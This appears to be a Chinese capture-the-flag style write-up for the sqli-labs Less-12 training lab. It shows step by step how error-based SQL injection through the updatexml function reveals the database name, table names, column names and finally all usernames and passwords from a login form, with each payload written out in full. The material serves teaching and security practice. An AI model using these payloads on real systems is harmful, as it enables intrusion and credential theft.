原理及姿势参考:【网络安全】SQL注入原理及常见攻击方法简析
本文使用到了updatexml函数,原理及姿势可参考:【网络安全】sqli-labs Less-5 解题详析
判断注入类型
通过测试可知注入类型为双引号+括号注入
判断注入点个数:

尝试可知注入点个数为2
查库名
uname=1") union select 1,updatexml(1,concat(0,(select database()),0),1)#

通过回显可知,库名为security
查表名
uname=1") union select 1,updatexml(1,concat(0,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0),1)#

通过回显可知,有以上四个表。
查users表的列名
uname=1") union select 1,updatexml(1,concat(0,(select group_concat(column_name) from information_schema.columns where table_name='users'),0),1)#

查字段
uname=1") union select 1,updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1)#

本文详细解析了sqli-labs Less-12级别的SQL注入攻击过程,包括判断注入类型、查库名、表名、列名及具体字段数据,利用updatexml函数进行信息泄露,并总结了解题步骤。
270

被折叠的 条评论
为什么被折叠?



